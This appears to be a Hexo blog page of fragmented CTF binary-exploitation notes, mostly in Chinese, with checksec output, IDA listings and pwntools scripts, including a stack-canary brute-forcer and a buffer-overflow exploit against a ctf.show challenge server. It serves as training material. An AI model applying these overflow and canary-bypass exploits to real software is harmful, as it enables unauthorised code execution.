Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
.text:0000000000400716 loc_400716: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400716 add rsp, 8 .text:000000000040071A pop rbx .text:000000000040071B pop rbp .text:000000000040071C pop r12 .text:000000000040071E pop r13 .text:0000000000400720 pop r14 .text:0000000000400722 pop r15 .text:0000000000400724 retn
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes
32位,开启NX保护,栈不可执行
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped
statically linked静态编译
ida:
1 2 3 4 5 6 7 8 9 10
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("===============CTFshow--PWN==============="); puts("Try to use ret2syscall!"); gets(&v4); return0;
.rodata:0000000000400F20 unk_400F20 db 5Ah ; Z ; DATA XREF: check+8↑o .rodata:0000000000400F21 db 5Ah ; Z .rodata:0000000000400F22 db 4Ah ; J .rodata:0000000000400F23 db 20h .rodata:0000000000400F24 db 6Ch ; l .rodata:0000000000400F25 db 6Fh ; o .rodata:0000000000400F26 db 76h ; v .rodata:0000000000400F27 db 65h ; e .rodata:0000000000400F28 db 73h ; s .rodata:0000000000400F29 db 20h .rodata:0000000000400F2A db 73h ; s .rodata:0000000000400F2B db 68h ; h .rodata:0000000000400F2C db 65h ; e .rodata:0000000000400F2D db 6Ch ; l .rodata:0000000000400F2E db 6Ch ; l .rodata:0000000000400F2F db 5Fh ; _ .rodata:0000000000400F30 db 63h ; c .rodata:0000000000400F31 db 6Fh ; o .rodata:0000000000400F32 db 64h ; d .rodata:0000000000400F33 db 65h ; e .rodata:0000000000400F34 db 2Ch ; , .rodata:0000000000400F35 db 61h ; a .rodata:0000000000400F36 db 6Eh ; n .rodata:0000000000400F37 db 64h ; d .rodata:0000000000400F38 db 20h .rodata:0000000000400F39 db 68h ; h .rodata:0000000000400F3A db 65h ; e .rodata:0000000000400F3B db 72h ; r .rodata:0000000000400F3C db 65h ; e .rodata:0000000000400F3D db 20h .rodata:0000000000400F3E db 69h ; i .rodata:0000000000400F3F db 73h ; s .rodata:0000000000400F40 db 20h .rodata:0000000000400F41 db 61h ; a .rodata:0000000000400F42 db 20h .rodata:0000000000400F43 db 67h ; g .rodata:0000000000400F44 db 69h ; i .rodata:0000000000400F45 db 66h ; f .rodata:0000000000400F46 db 74h ; t .rodata:0000000000400F47 db 3Ah ; : .rodata:0000000000400F48 db 0Fh .rodata:0000000000400F49 db 5 .rodata:0000000000400F4A db 20h .rodata:0000000000400F4B db 65h ; e .rodata:0000000000400F4C db 6Eh ; n .rodata:0000000000400F4D db 6Ah ; j .rodata:0000000000400F4E db 6Fh ; o .rodata:0000000000400F4F db 79h ; y .rodata:0000000000400F50 db 20h .rodata:0000000000400F51 db 69h ; i .rodata:0000000000400F52 db 74h ; t .rodata:0000000000400F53 db 21h ; !
from pwn import * from itertools import * import re for i inrange(1, 3): for j in product([p8(k) for k inrange(256)], repeat=i): payload = b"\x00" + b"".join(j) res = disasm(payload) if ( res != " ..." andnot re.search(r"\[\w*?\]", res) and".byte"notin res ): print(res) input()
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments Stripped: No
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No
32位程序,NX保护没开,栈可以执行
ida:main函数调用了ctfshow函数
1 2 3 4 5
add esp, 10h sub esp, 0Ch lea eax, [ebp+s] push eax ; s call ctfshow
ctfshow函数
1 2 3 4 5
int __cdecl ctfshow(char *s) { gets(s); returnputs(s); }
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments Stripped: No Debuginfo: Yes
from pwn import * canary = b''#定义canary for i inrange(4): #这里是两层循环,因为canary是四个字节所以外层循环4次 for j inrange(0x100): #这个循环尝试所有可能的字节值(从 0x00 到 0xFF) p = remote('pwn.challenge.ctf.show', 28179) p.sendlineafter(b'>',b'200') #200为用户名 payload = b'a'*0x20 + canary + p8(j) #先覆盖0x20到canary,在覆盖已经试出来前几个字节canary的值,再加上 要尝试的 p.sendafter('$ ', payload) ans = str(p.recv()) #将接收的的值转化为字符串赋值给ans if"Canary Value Incorrect!"notin ans: #这个if循环是判断逐字节爆破的canary是否正确,我们知道错误就会输出 Canary Value Incorrect!,如果我们接收到的数据中没有Canary Value Incorrect!就证明是正确的 canary += p8(j) #将新爆破出来的值加到已经爆破出来的值的后面 print(f"NO:{i+1}{hex(j)}") #因为i是取0-3的整数,所以要+1才是canary的第几个值 break#退出循环 else: print(f"try again! {i}:{j}") print(f"canary: {hex(u32(canary))}") #最后将canary的值转换为32位输出出来
2.栈溢出
exp
1 2 3 4 5 6 7 8 9 10
from pwn import * p=remote('pwn.challenge.ctf.show',28179) canary=0x21443633#canary上面爆破过了,我们直接输入就可以,前提是canary的值是固定的 flag=0x08048696 p.recvuntil(b'How many bytes do you want to write to the buffer?\n>') p.sendline(b'-1') #绕过while循环,并使得可以借助read函数栈溢出 p.recvuntil(b'$ ') pay=b'a'*0x20+p32(canary)+b'a'*(0xc+0x4)+p32(flag) #payload=覆盖到s1+canary+覆盖到返回地址+返回地址 p.sendline(pay) p.interactive()